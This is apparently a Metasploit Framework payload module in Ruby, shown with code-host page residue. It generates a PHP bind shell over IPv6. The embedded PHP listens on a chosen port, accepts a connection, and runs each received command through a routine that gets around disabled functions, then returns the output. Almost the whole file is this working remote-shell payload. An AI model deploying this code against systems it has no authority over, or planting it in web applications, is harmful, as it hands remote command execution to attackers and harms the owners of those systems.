82 lines
2.1 KiB
Ruby
82 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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CachedSize = :dynamic
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include Msf::Payload::Single
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include Msf::Payload::Php
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include Msf::Sessions::CommandShellOptions
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'PHP Command Shell, Bind TCP (via php) IPv6',
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'Description' => 'Listen for a connection and spawn a command shell via php (IPv6)',
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'Author' => ['egypt', 'diaul <diaul[at]devilopers.org>',],
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'License' => BSD_LICENSE,
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'Platform' => 'php',
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'Arch' => ARCH_PHP,
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'Handler' => Msf::Handler::BindTcp,
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'Session' => Msf::Sessions::CommandShell,
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'PayloadType' => 'cmd',
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'Payload' =>
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{
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'Offsets' => { },
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'Payload' => ''
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}
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))
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end
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#
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# PHP Bind Shell
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#
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def php_bind_shell
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dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4);
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shell = <<-END_OF_PHP_CODE
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#{php_preamble({:disabled_varname => dis})}
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$port=#{datastore['LPORT']};
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$scl='socket_create_listen';
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if(is_callable($scl)&&!in_array($scl,#{dis})){
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$sock=@$scl($port);
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}else{
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$sock=@socket_create(AF_INET6,SOCK_STREAM,SOL_TCP);
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$ret=@socket_bind($sock,0,$port);
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$ret=@socket_listen($sock,5);
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}
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$msgsock=@socket_accept($sock);
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@socket_close($sock);
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while(FALSE!==@socket_select($r=array($msgsock), $w=NULL, $e=NULL, NULL))
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{
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$o = '';
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$c=@socket_read($msgsock,2048,PHP_NORMAL_READ);
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if(FALSE===$c){break;}
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if(substr($c,0,3) == 'cd '){
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chdir(substr($c,3,-1));
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} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
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break;
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}else{
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#{php_system_block({:cmd_varname=>"$c", :output_varname=>"$o", :disabled_varname => dis})}
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}
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@socket_write($msgsock,$o,strlen($o));
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}
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@socket_close($msgsock);
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END_OF_PHP_CODE
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return shell
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end
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#
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# Constructs the payload
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#
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def generate(_opts = {})
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return super + php_bind_shell
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end
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end
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